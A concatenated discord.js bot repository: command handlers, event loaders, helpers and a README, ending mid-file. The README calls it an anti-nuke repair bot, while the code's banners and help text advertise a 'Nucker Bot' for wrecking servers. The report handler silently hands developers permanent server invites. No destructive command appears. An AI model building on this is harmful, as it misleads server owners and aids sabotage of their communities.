name: "**Time Taken:**", 41 | value: `\`${msg + " ms 📶 | " + states}\``, 42 | inline: true 43 | },{ 44 | name: "**WebSocket:**", 45 | value: `\`${api + " ms 📶 | " + states2}\``, 46 | inline: true 47 | }]) 48 | .setTimestamp() 49 | .setFooter({text:`Requested by ${message.author.tag}`, iconURL:`${message.author.displayAvatarURL()}`}); 50 | 51 | let pingingEmbed = new EmbedBuilder() 52 | .setColor(client.colors.none) 53 | .setDescription(`**Pinging...**`) 54 | .setTimestamp() 55 | 56 | let pingButton = new ButtonBuilder() 57 | .setDisabled(true) 58 | .setStyle(ButtonStyle.Primary) 59 | .setCustomId("loading") 60 | .setEmoji("🔃") 61 | .setLabel("Process Is Loading...") 62 | 63 | message.reply({ 64 | embeds: [pingingEmbed], 65 | components: [new ActionRowBuilder().addComponents(pingButton)] 66 | }).then((m)=>{ 67 | wait(200) 68 | m.edit({ embeds: [pingEmbed], components: [new ActionRowBuilder().addComponents(pingButton.setDisabled(true).setStyle(ButtonStyle.Success).setCustomId("pong").setEmoji("🏓").setLabel("Pong!!"))] }) 69 | }) 70 | } 71 | } 72 | /** 73 | * @Info 74 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 75 | * @Info 76 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 77 | * @Info 78 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 79 | * @Info 80 | */ -------------------------------------------------------------------------------- /events/modal/interactionCreate.js: -------------------------------------------------------------------------------- 1 | const { 2 | SelectMenuBuilder, 3 | EmbedBuilder, 4 | ButtonBuilder, 5 | ActionRowBuilder, 6 | ButtonStyle 7 | } = require("discord.js"); 8 | const { 9 | errorMessage 10 | } = require(`${process.cwd()}/functions/functions`); 11 | module.exports = async (client, interaction) => { 12 | try{ 13 | if (!interaction.isModalSubmit()) return; 14 | if(interaction.customId === "reporting"){ 15 | let choice = interaction.fields.getTextInputValue('report'); 16 | let guild = client.guilds.cache.get(client.config.discord.server_id); 17 | let channel = guild.channels.cache.get(client.config.discord.server_channel_report); 18 | if([" ", " "].includes(choice)) return errorMessage(client, interaction, `please write full content for reporting.`) 19 | 20 | let invite = await interaction.channel.createInvite({ 21 | maxAge: 0, 22 | maxUses: 5 23 | }) 24 | const embed = new EmbedBuilder() 25 | .setAuthor({ name:`${interaction.user.tag}`, iconURL:interaction.user.displayAvatarURL({ dynamic: true }) }) 26 | .setTimestamp() 27 | .setTitle(`Report Message From \`${interaction.guild.name}\``) 28 | .setColor(client.colors.none) 29 | .addFields([{ 30 | name: `${client.emotes.reply} **Guild:**`, 31 | value: `**${interaction.guild.name} | ${interaction.guild.id} | ${invite.url? invite.url : "Cant' create invite :("}**`, 32 | inline: false 33 | },{ 34 | name: `${client.emotes.reply} **User:**`, 35 | value: `**${interaction.user} | ${interaction.user.tag} | ${interaction.user.id}**`, 36 | inline: false 37 | },{ 38 | name: `${client.emotes.reply} **Date:**`, 39 | value: `** | **`, 40 | inline: false 41 | },{ 42 | name: `${client.emotes.reply} **Message:**`, 43 | value: `${choice}`, 44 | inline: false 45 | }]) 46 | .setThumbnail(interaction.guild.iconURL({ dynamic: true })) 47 | 48 | 49 | await channel.send({ 50 | embeds: [embed] 51 | }).then((msg)=> { 52 | msg.react(client.emotes.report) 53 | }) 54 | await interaction.reply({ 55 | ephemeral: true, 56 | embeds: [new EmbedBuilder().setColor(client.colors.none).setTimestamp().setTitle(`${client.emotes.success}| Successfully Sent`).setDescription(`\`\`\`js\nSuccessfuly your report or bug message send to My Developers ${client.emotes.hurt} \`\`\`**thank's for sending your message to us.\nFor helping you my develpoers or admins send a \`Friend-Request\` for you or just join to server and fix your problem. :)**`)], 57 | }) 58 | } 59 | }catch(e){ 60 | console.log(e) 61 | errorMessage(client, interaction, '```js\n'+e+'```') 62 | } 63 | } 64 | /** 65 | * @Info 66 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 67 | * @Info 68 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 69 | * @Info 70 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 71 | * @Info 72 | */ -------------------------------------------------------------------------------- /commands/Owner 👑/serverlist.js: -------------------------------------------------------------------------------- 1 | const { 2 | ActionRowBuilder, 3 | ButtonBuilder, 4 | ButtonStyle, 5 | EmbedBuilder, 6 | PermissionsBitField 7 | } = require("discord.js"); 8 | const { 9 | errorMessage 10 | } = require(`${process.cwd()}/functions/functions`); 11 | module.exports = { 12 | name: 'serverlist', 13 | aliases: ['sl'], 14 | category: 'Owner 👑', 15 | description: 'Showba list of bot guilds join in.', 16 | usage: "", 17 | cooldown: 2, 18 | run: async function(client, message, args, prefix){ 19 | let db = client.db; 20 | if(!client.config.owner.some(r => r.includes(message.author.id))) return errorMessage(client, message, `> You are not allowed to run this Command\n\n> **You need to be one of those guys: ${client.config.owner.map(id => `<@${id}>`)}**`) 21 | try{ 22 | 23 | const backId = 'back' 24 | const forwardId = 'forward' 25 | const backButton = new ButtonBuilder({ 26 | style: ButtonStyle.Secondary, 27 | label: 'Back', 28 | emoji: '⬅️', 29 | customId: backId 30 | }) 31 | const forwardButton = new ButtonBuilder({ 32 | style: ButtonStyle.Secondary, 33 | label: 'Forward', 34 | emoji: '➡️', 35 | customId: forwardId 36 | }) 37 | const guilds = [...client.guilds.cache.values()] 38 | let page = 1 39 | const generateEmbed = async start => { 40 | const current = guilds.sort((a, b) => b.memberCount - a.memberCount).slice(start, start + 12) 41 | let embed = new EmbedBuilder({ 42 | title: `Page - ${page}/${Math.ceil(client.guilds.cache.size / 12)} | All Guilds: ${(guilds.length).toLocaleString()}`, 43 | fields: await Promise.all( 44 | current.sort((a, b) => b.memberCount - a.memberCount).map(async guild => ({ 45 | name: `${guild.name}`, 46 | value: `**ID:** \`${guild.id}\`\n**Owner:** \`${(await guild.fetchOwner()).user.tag}\`\n**Members:** __${(guild.memberCount).toLocaleString()}__`, 47 | inline: true 48 | })) 49 | ) 50 | }) 51 | return embed.setColor(client.colors.none) 52 | } 53 | const canFitOnOnePage = guilds.length <= 12 54 | const embedMessage = await message.reply({ 55 | embeds: [await generateEmbed(0)], 56 | components: canFitOnOnePage? [] : [new ActionRowBuilder({components: [forwardButton]})], 57 | ephemeral: true 58 | }) 59 | if (canFitOnOnePage) return; 60 | const collector = embedMessage.createMessageComponentCollector({ 61 | filter: ({user}) => user.id === message.author.id, 62 | time: 60000 63 | }) 64 | 65 | let currentIndex = 0; 66 | collector.on('collect', async int => { 67 | int.customId === backId ? (currentIndex -= 12) : (currentIndex += 12) 68 | int.customId === backId ? (page -= 1) : (page += 1) 69 | await int.update({ 70 | embeds: [await generateEmbed(currentIndex)], 71 | components: [new ActionRowBuilder({ components: [...(currentIndex ? [backButton] : []), ...(currentIndex + 12 < guilds.length ? [forwardButton] : [])] })] 72 | }) 73 | }) 74 | collector.on('end', async ()=>{ 75 | msg.delete() 76 | }) 77 | 78 | }catch(e) { 79 | return errorMessage(client, message, `\`\`\`js\n${e}\n\`\`\``) 80 | } 81 | } 82 | } 83 | /** 84 | * @Info 85 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 86 | * @Info 87 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 88 | * @Info 89 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 90 | * @Info 91 | */ -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | //======== Packages ======== 2 | require('dotenv').config() 3 | const { 4 | Client, 5 | Collection, 6 | Partials, 7 | GatewayIntentBits 8 | } = require('discord.js'); 9 | const clc = require("cli-color"); 10 | const fs = require('fs'); 11 | const client = new Client({ 12 | restRequestTimeout: 120000, 13 | intents: [ 14 | GatewayIntentBits.DirectMessages, 15 | GatewayIntentBits.Guilds, 16 | GatewayIntentBits.GuildBans, 17 | GatewayIntentBits.GuildMessages, 18 | GatewayIntentBits.MessageContent, 19 | ], 20 | partials: [Partials.Channel], 21 | shards: 'auto', 22 | allowedMentions: { 23 | parse: [ 24 | "roles", 25 | "users", 26 | "everyone" 27 | ],//mentions disable 28 | repliedUser: false,//disable mention in replying messages 29 | }, 30 | ws:{ 31 | properties: { 32 | browser: "Discord Android",//Discord Web | Discord Android | Discord Ios | Discord Client 33 | os: "Linux"//Other | Android | iOS | TempleOS | Linux | Mac OS X | Windows 34 | }, 35 | }, 36 | }); 37 | client.config = require(`${process.cwd()}/storage/config.js`); 38 | client.prefix = client.config.discord.prefix; 39 | client.token = client.config.discord.token; 40 | client.emotes = require(`${process.cwd()}/storage/emotes.json`); 41 | client.colors = require(`${process.cwd()}/storage/colors.json`); 42 | client.embed = require(`${process.cwd()}/storage/embed.json`); 43 | client.categories = fs.readdirSync(`${process.cwd()}/commands`); 44 | client.messageCommands = new Collection(); 45 | //client.slashCommands = new Collection(); 46 | client.cooldowns = new Collection(); 47 | 48 | //======== Loading Starts ========= 49 | var starts = fs.readdirSync(`${process.cwd()}/start`).filter(file => file.endsWith('.js')); 50 | let counter = 0; 51 | starts.forEach((file) => { 52 | require(`${process.cwd()}/start/${file}`)(client); 53 | counter += 1; 54 | }); 55 | try { 56 | const stringlength = 69; 57 | console.log("\n") 58 | console.log(clc.yellowBright(` ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓`)) 59 | console.log(clc.yellowBright(` ┃ `) + " ".repeat(-1 + stringlength - ` ┃ `.length) + clc.yellowBright("┃")) 60 | console.log(clc.yellowBright(` ┃ `) + clc.greenBright(` ${clc.magentaBright(counter)} Starts Is Loaded!!`) + " ".repeat(-1 + stringlength - ` ┃ `.length - ` ${counter} Starts Is Loaded!!`.length) + clc.yellowBright("┃")) 61 | console.log(clc.yellowBright(` ┃ `) + " ".repeat(-1 + stringlength - ` ┃ `.length) + clc.yellowBright("┃")) 62 | console.log(clc.yellowBright(` ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛`)) 63 | console.log("\n") 64 | } catch { /* */ } 65 | 66 | //======== Consol ======== 67 | if(client.token){ 68 | client.login(client.token).catch(e => { 69 | console.log(clc.red("The Bot Token You Entered Into Your Project Is Incorrect Or Your Bot's INTENTS Are OFF!\n")) 70 | }) 71 | } else { 72 | console.log(clc.red("Please Write Your Bot Token Opposite The Token In The config.js File In Your Project!")) 73 | } 74 | 75 | //========== Replit Alive 76 | setInterval(() => { 77 | if(!client || !client.user) { 78 | client.logger("The Client Didn't Login Proccesing Kill 1") 79 | process.kill(1); 80 | } else { 81 | } 82 | }, 10000);  83 | /** 84 | * @Info 85 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 86 | * @Info 87 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 88 | * @Info 89 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 90 | * @Info 91 | */ -------------------------------------------------------------------------------- /events/message/messageUpdate.js: -------------------------------------------------------------------------------- 1 | const { 2 | EmbedBuilder, 3 | ActionRowBuilder, 4 | ButtonBuilder, 5 | Collection, 6 | ButtonStyle, 7 | PermissionsBitField, 8 | SelectMenuBuilder 9 | } = require("discord.js"); 10 | const { 11 | HelpCategoryEmbed, 12 | errorMessage 13 | } = require(`${process.cwd()}/functions/functions`); 14 | module.exports = async (client, oldmessage, message) => { 15 | //======== Command for shows the prefix ======== 16 | if (message.author.bot || !message.guild) return;//a direct message between users 17 | 18 | //======== Command Prefix & args ======== 19 | const Tprefix = `${client.prefix}`; 20 | const escapeRegex = (str) => str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); 21 | const prefixRegex = new RegExp(`^(<@!?${client.user.id}>|${escapeRegex(Tprefix)})\\s*`); 22 | if(!prefixRegex.test(message.content)) return; 23 | 24 | const [ prefix] = message.content.match(prefixRegex); 25 | if(message.content.indexOf(prefix) !== 0) return; 26 | const args = message.content.slice(prefix.length).trim().split(/ +/g); 27 | const commandName = args.shift().toLowerCase(); 28 | const command = client.messageCommands.get(commandName) || client.messageCommands.find(cmd => cmd.aliases && cmd.aliases.includes(commandName)); 29 | if(commandName.length > 0){ 30 | if (!command||!command.name||!command.aliases) { 31 | return //message.reply(`**${client.emotes.error}| It seems like \`${commandName}\` is not a valid command! Please try Again!**`) 32 | } 33 | } 34 | 35 | //============ Check Perm 36 | if(!message.channel.permissionsFor(message.guild.members.me).has([PermissionsBitField.Flags.SendMessages])) return message.author.send({content: `${client.emotes.error}| I am missing the Permission to \`SendMessages\` in ${message.channel}`,}); 37 | if(!message.channel.permissionsFor(message.guild.members.me).has([PermissionsBitField.Flags.UseExternalEmojis])) return message.reply({content: `${client.emotes.error}| I am missing the Permission to \`UseExternalEmojis\` in ${message.channel}`}); 38 | if(!message.channel.permissionsFor(message.guild.members.me).has([PermissionsBitField.Flags.EmbedLinks])) return message.reply({ content: `${client.emotes.error}| I am missing the Permission to \`EmbedLinks\` in ${message.channel}` }); 39 | 40 | //======== Command Cooldown ======== 41 | if(!client.cooldowns.has(command.name)) { 42 | client.cooldowns.set(command.name, new Collection()); 43 | } 44 | const now = Date.now(); 45 | const timestamps = client.cooldowns.get(command.name); 46 | const cooldownAmount = (command.cooldown || 5) * 1000; 47 | 48 | if (timestamps.has(message.author.id)) { 49 | const expirationTime = timestamps.get(message.author.id) + cooldownAmount; 50 | 51 | if (now < expirationTime) { 52 | const timeLeft = (expirationTime - now) / 1000; 53 | return message.reply({ 54 | embeds: [new EmbedBuilder().setColor(client.colors.none).setDescription(`**${client.emotes.alert}| Please wait before reusing the \`${command.name}\` command!**`)], 55 | }) 56 | } 57 | } 58 | timestamps.set(message.author.id, now); 59 | setTimeout(() => timestamps.delete(message.author.id), cooldownAmount); 60 | 61 | 62 | //======== Command Handler ======== 63 | try{ 64 | if (command) command.run(client, message, args, Tprefix); 65 | } catch { 66 | } 67 | }; 68 | /** 69 | * @Info 70 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 71 | * @Info 72 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 73 | * @Info 74 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 75 | * @Info 76 | */ -------------------------------------------------------------------------------- /events/ready/ready.js: -------------------------------------------------------------------------------- 1 | const clc = require("cli-color"); 2 | const Discord = require('discord.js'); 3 | module.exports = async (client) => { 4 | let totalUsers = client.guilds.cache.map(guild => guild.memberCount).reduce((a, b) => a + b, 0); 5 | let Guilds = client.guilds.cache.size; 6 | let prefix = client.prefix; 7 | setInterval(function Activitys(){ 8 | if(totalUsers > 1000){ 9 | totalUsers = `${(totalUsers/1000).toString().slice(0, -1)}K`; 10 | }else{ 11 | totalUsers = totalUsers; 12 | } 13 | if(Guilds > 1000){ 14 | Guilds = `${(Guilds/1000).toString().slice(0, -1)}K`; 15 | }else{ 16 | Guilds = Guilds; 17 | } 18 | let Presence = [ "dnd", "online", "idle" ]; //can be: online | dnd | idle | offline 19 | let PresencePower = Presence[Math.floor(Math.random() * Presence.length)] 20 | let Activity = [ 21 | `${prefix}help`, 22 | `${prefix}nuck` 23 | ]; 24 | let ActivityPower = `${Activity[Math.floor(Math.random() * Activity.length)]} | Nucker Bot`; 25 | let Display = [ 0, 1, 2, 3, 5 ]; //can be: Discord.ActivityType.Competing = 5 or Discord.ActivityType.Custom = 4 or Discord.ActivityType.Listening = 2 or Discord.ActivityType.Playing = 0 or Discord.ActivityType.Streaming = 1 or Discord.ActivityType.Watching = 3 26 | let DisplayPower = Display[Math.floor(Math.random() * Display.length)]; 27 | let URL = [ `https://www.twitch.tv/sobhan_srza` ]; 28 | let URLPower = URL[Math.floor(Math.random() * URL.length)]; 29 | client.user.setPresence({ 30 | activities: [{ 31 | name: ActivityPower, 32 | type: DisplayPower, 33 | url: URLPower 34 | }], 35 | status: PresencePower 36 | }) 37 | }, 60000) 38 | 39 | try{ 40 | const stringlength = 69; 41 | console.log("\n") 42 | console.log(clc.greenBright(` ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓`)) 43 | console.log(clc.greenBright(` ┃ ` + " ".repeat(-1+stringlength-` ┃ `.length)+ "┃")) 44 | console.log(clc.greenBright(` ┃ ` + clc.blueBright(`Discord Bot is online!`) + " ".repeat(-20+stringlength-` ┃ `.length-`Discord Bot is online!`.length)+ "┃")) 45 | console.log(clc.greenBright(` ┃ ` + ` /--/ ${clc.cyanBright(client.user.tag)} Is Now Online :) /--/ `+ " ".repeat(-1+stringlength-` ┃ `.length-` /--/ ${clc.cyanBright(client.user.tag)} Is Now Online :) /--/ `.length)+ "┃")) 46 | console.log(clc.greenBright(` ┃ ` + " ".repeat(-1+stringlength-` ┃ `.length)+ "┃")) 47 | console.log(clc.greenBright(` ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛`)) 48 | console.log("\n") 49 | client.logger( 50 | clc.blueBright(`Working Guilds: `) + clc.greenBright(`${Guilds.toLocaleString()} Servers`) + `\n` + 51 | clc.blueBright(`Watching Users: `) + clc.greenBright(`${totalUsers.toLocaleString()} Users`) + `\n` + 52 | clc.blueBright(`Commands: `) + clc.greenBright(/*`slashCommands[${client.slashCommands.size}] & `*/ `messageCommands[${client.messageCommands.size}]`) + `\n` + 53 | clc.blueBright(`Source: `) + clc.greenBright(`v${require(`${process.cwd()}/package.json`).version}`) + `\n` + 54 | clc.blueBright(`Discord.js: `) + clc.greenBright(`v${Discord.version}`) + `\n` + 55 | clc.blueBright(`Node.js: `) + clc.greenBright(`${process.version}`) + `\n` + 56 | clc.blueBright(`Plattform: `) + clc.greenBright(`${process.platform} ${process.arch}`) + `\n` + 57 | clc.blueBright(`Memory: `) + clc.greenBright(`${(process.memoryUsage().heapUsed / 1024 / 1024).toFixed(2)} MB / ${(process.memoryUsage().rss / 1024 / 1024).toFixed(2)} MB`) 58 | ); 59 | }catch{ /* */ } 60 | } 61 | /** 62 | * @Info 63 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 64 | * @Info 65 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 66 | * @Info 67 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 68 | * @Info 69 | */ -------------------------------------------------------------------------------- /start/1-events.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | var clc = require("cli-color"); 3 | module.exports = async (bot) => { 4 | try{ 5 | let counter = 0; 6 | const stringlength = 69; 7 | fs.readdirSync(`${process.cwd()}/events`).forEach(dirs => { 8 | const events = fs.readdirSync(`${process.cwd()}/events/${dirs}`).filter(files => files.endsWith('.js')); 9 | for (const file of events) { 10 | const event = require(`${process.cwd()}/events/${dirs}/${file}`); 11 | counter += 1; 12 | bot.on(file.split(".")[0], event.bind(null, bot)); 13 | }; 14 | }); 15 | try { 16 | console.log("\n") 17 | console.log(clc.greenBright(` ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓`)) 18 | console.log(clc.greenBright(` ┃ `) + " ".repeat(-1 + stringlength - ` ┃ `.length) + clc.greenBright("┃")) 19 | console.log(clc.greenBright(` ┃ `) + clc.cyanBright(` Welcome to Nuker Bot!`) + " ".repeat(-1 + stringlength - ` ┃ `.length - ` Welcome to Nuker Bot!`.length) + clc.greenBright("┃")) 20 | console.log(clc.greenBright(` ┃ `) + " ".repeat(-1 + stringlength - ` ┃ `.length) + clc.greenBright("┃")) 21 | console.log(clc.greenBright(` ┃ `) + clc.cyanBright(` /-/ By Sobhan-SRZA and Persian Caesar /-/`) + " ".repeat(-1 + stringlength - ` ┃ `.length - ` /-/ By Sobhan-SRZA and Persian Caesar /-/`.length) + clc.greenBright("┃")) 22 | console.log(clc.greenBright(` ┃ `) + " ".repeat(-1 + stringlength - ` ┃ `.length) + clc.greenBright("┃")) 23 | console.log(clc.greenBright(` ┃ `) + clc.yellowBright(` /-/ Discord: Mr.SIN RE#1528 /-/`) + " ".repeat(-1 + stringlength - ` ┃ `.length - ` /-/ Discord: Mr.SIN RE#1528 /-/`.length) + clc.greenBright("┃")) 24 | console.log(clc.greenBright(` ┃ `) + " ".repeat(-1 + stringlength - ` ┃ `.length) + clc.greenBright("┃")) 25 | console.log(clc.greenBright(` ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛`)) 26 | console.log("\n") 27 | } catch { 28 | /* */ } 29 | try { 30 | console.log("\n") 31 | console.log(clc.yellowBright(` ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓`)) 32 | console.log(clc.yellowBright(` ┃ `) + " ".repeat(-1 + stringlength - ` ┃ `.length) + clc.yellowBright("┃")) 33 | console.log(clc.yellowBright(` ┃ `) + clc.greenBright(` Logging into the BOT...`) + " ".repeat(-1 + stringlength - ` ┃ `.length - ` Logging into the BOT...`.length) + clc.yellowBright("┃")) 34 | console.log(clc.yellowBright(` ┃ `) + " ".repeat(-1 + stringlength - ` ┃ `.length) + clc.yellowBright("┃")) 35 | console.log(clc.yellowBright(` ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛`)) 36 | console.log("\n") 37 | } catch { /* */ } 38 | try { 39 | console.log("\n") 40 | console.log(clc.yellowBright(` ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓`)) 41 | console.log(clc.yellowBright(` ┃ `) + " ".repeat(-1 + stringlength - ` ┃ `.length) + clc.yellowBright("┃")) 42 | console.log(clc.yellowBright(` ┃ `) + clc.greenBright(` ${clc.redBright(counter)} Events Is Loaded!!`) + " ".repeat(-1 + stringlength - ` ┃ `.length - ` ${counter} Events Is Loaded!!`.length) + clc.yellowBright("┃")) 43 | console.log(clc.yellowBright(` ┃ `) + " ".repeat(-1 + stringlength - ` ┃ `.length) + clc.yellowBright("┃")) 44 | console.log(clc.yellowBright(` ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛`)) 45 | console.log("\n") 46 | } catch { /* */ } 47 | } catch (e) { 48 | console.log(clc.redBright(String(e.stack))) 49 | } 50 | } 51 | /** 52 | * @Info 53 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 54 | * @Info 55 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 56 | * @Info 57 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 58 | * @Info 59 | */ 60 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Anti-Nuker-Bot 2 |
3 | 4 | 5 | 6 |
7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 |
19 |
20 | This is bot can fix your nuked guild like unban all members or remove spam channels and roles for you. 21 | 22 | --- 23 | 24 | ## Contact 25 |
26 | 27 | Sobhan-SRZA social 28 | 29 | 30 | 31 | Telegram 34 | 35 | 36 | 37 | Telegram 40 | 41 | 42 | 43 | Instagram 46 | 47 | 48 | 49 | Twitch 52 | 53 | 54 | 55 | YouTube 58 | 59 | 60 | 61 | Github 64 | 65 | 66 |

67 | 68 | pc-development.png 69 | 70 |

71 | 72 |

73 | 74 | pc-club.png 75 | 76 |

77 | 78 | 86 | 87 |
88 | 89 | 90 | -------------------------------------------------------------------------------- /functions/functions.js: -------------------------------------------------------------------------------- 1 | const { 2 | ButtonBuilder, 3 | ActionRowBuilder, 4 | StringSelectMenuBuilder, 5 | EmbedBuilder, 6 | ButtonStyle, 7 | ChannelType, 8 | ApplicationCommandType, 9 | ApplicationCommandOptionType 10 | } = require("discord.js"); 11 | module.exports = { 12 | errorMessage: async function(client, interaction, error){ 13 | let member = interaction.guild.members.cache.find(m=> m.id === interaction.member.id); 14 | return interaction.reply({ 15 | embeds: [new EmbedBuilder().setTitle('⛔️| **We Got An Error**').setColor(client.colors.red).setDescription(`${error}`).setFooter({ text: `Requested by ${member.user.tag} • Error • ${client.embed.footerText}`, iconURL: member.user.displayAvatarURL({ dynamic: true }) }).setThumbnail(interaction.guild.iconURL({ dynamic: true }))], 16 | components: [new ActionRowBuilder().addComponents(new ButtonBuilder().setStyle(ButtonStyle.Danger).setLabel("Error").setEmoji("⚠️").setCustomId("error").setDisabled(true))], 17 | ephemeral: true, 18 | }) 19 | }, 20 | HelpCategoryEmbed: async function(prefix, CategoryName, client, message, component){ 21 | let member = message.guild.members.cache.find(m=> m.id === message.member.id); 22 | let embed = new EmbedBuilder() 23 | .setThumbnail(client.user.displayAvatarURL({ dynamic: true })) 24 | .setAuthor({ 25 | name: `${client.user.username} Help` 26 | }) 27 | .setTitle(`${CategoryName}`) 28 | .setFooter({ 29 | text: `Requested by ${member.user.tag}`, 30 | iconURL: member.user.displayAvatarURL({ dynamic: true }) 31 | }) 32 | .setColor(client.colors.none) 33 | 34 | let value_1 = ""; 35 | let value_2 = ""; 36 | client.messageCommands.filter(c => c.category === CategoryName).forEach((cmd)=>{ 37 | value_1 += `\n\n**${prefix}${cmd.name} ${cmd.usage? cmd.usage : ""}**\n**Aliases: [${cmd.aliases? cmd.aliases.map(a=> `\`${a}\``).join(', ') : "`no aliases`"}]\nDescription: \`${cmd.description}\`**` 38 | }) 39 | /*client.slashCommands.filter(c => c.category === CategoryName).forEach((cmd)=>{ 40 | let cm = client.application.commands.cache.find(c => c.name === cmd.name) 41 | let name = [] 42 | let bb = cm.options? cm.options.some(op=> op.type === ApplicationCommandOptionType.Subcommand)? cm.options.map((option)=>{ name.push(cm.name +" "+ option.name)}) : name.push(`${cm.name}`) : name.push(`${cm.name}`) 43 | name.forEach(nm=>{ 44 | value_2 += `\n\n**${``}**\n**Description: \`${cm.options.some(op=> op.type === ApplicationCommandOptionType.Subcommand)? cm.options.map(op=> op.name === nm.slice(`${cm.name} `.length)? op.description : "").join("") : `${cm.description}`}\`**`; 45 | }) 46 | })*/ 47 | embed.addFields([{ 48 | name: `Message Commands:`, 49 | value: `${value_1? value_1 : "`No message commands.`"}`, 50 | inline: false 51 | },{ 52 | name: `Slash Commands:`, 53 | value: `${value_2? value_2 : "`No slash commands.`"}`, 54 | inline: false 55 | }]); 56 | return message.update({ 57 | embeds: [embed], 58 | components: component 59 | }) 60 | }, 61 | wait: async function(ms){ 62 | let start = new Date().getTime(); 63 | let end = start; 64 | while(end < start + ms) { 65 | end = new Date().getTime(); 66 | } 67 | }, 68 | epochDateNow: async function (){ 69 | const TimeStampDate = Date.parse(new Date()) / 1000; 70 | return TimeStampDate 71 | }, 72 | epochDateCustom: async function (date){ 73 | const TimeStampDate = Date.parse(date) / 1000; 74 | return TimeStampDate 75 | }, 76 | formatDate: function (date) { 77 | return new Intl.DateTimeFormat('en-US').format(date); 78 | }, 79 | randomRange: async function (min, max) { 80 | return Math.floor(Math.random() * (max - min + 1)) + min; 81 | }, 82 | } 83 | /** 84 | * @Info 85 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 86 | * @Info 87 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 88 | * @Info 89 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 90 | * @Info 91 | */ -------------------------------------------------------------------------------- /events/message/messageCreate.js: -------------------------------------------------------------------------------- 1 | const { 2 | EmbedBuilder, 3 | ActionRowBuilder, 4 | ButtonBuilder, 5 | Collection, 6 | ButtonStyle, 7 | PermissionsBitField, 8 | SelectMenuBuilder 9 | } = require("discord.js"); 10 | const { 11 | HelpCategoryEmbed, 12 | errorMessage 13 | } = require(`${process.cwd()}/functions/functions`); 14 | module.exports = async (client, message) => { 15 | //======== Command for shows the prefix ======== 16 | if (message.author.bot || !message.guild) return;//a direct message between users 17 | 18 | //======== Command Prefix & args ======== 19 | const Tprefix = `${client.prefix}`; 20 | const escapeRegex = (str) => str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); 21 | const prefixRegex = new RegExp(`^(<@!?${client.user.id}>|${escapeRegex(Tprefix)})\\s*`); 22 | if(!prefixRegex.test(message.content)) return; 23 | const [ prefix] = message.content.match(prefixRegex); 24 | if(message.content.indexOf(prefix) !== 0) return; 25 | 26 | //=========== Help Menu With Mention Bot 27 | let contents = [ 28 | `<@!${client.user.id}>`, 29 | `<@${client.user.id}>` 30 | ]; 31 | if (contents.includes(message.content)) { 32 | message.reply({ 33 | embeds: [new EmbedBuilder().setAuthor({ name: `${client.user.username} Help` }).setFooter({ text: `Requested by ${message.author.tag}`, iconURL: message.author.displayAvatarURL({ dynamic: true }) }).setColor(client.colors.none).addFields([{ name: `About me:`, value: `>>> Hi👋🏻, I'm **[${client.user.username}](${client.config.discord.invite})${client.emotes.hack}**\n With my help, you can nuck all servers you want, support for message commands and other things${client.emotes.learn}`, inline: false },{ name: `My prefix:`, value: `>>> In here my prefix is: **"\`${Tprefix}\`"** \n use for send help menu: **"\`${Tprefix}help\`"**` }]).setThumbnail(client.user.displayAvatarURL({ dynamic: true }))], 34 | components: [new ActionRowBuilder().addComponents(new ButtonBuilder().setStyle(ButtonStyle.Secondary).setLabel('Report').setEmoji(client.emotes.report).setCustomId(`report`)), new ActionRowBuilder().addComponents([new ButtonBuilder().setStyle(ButtonStyle.Link).setLabel('Invite 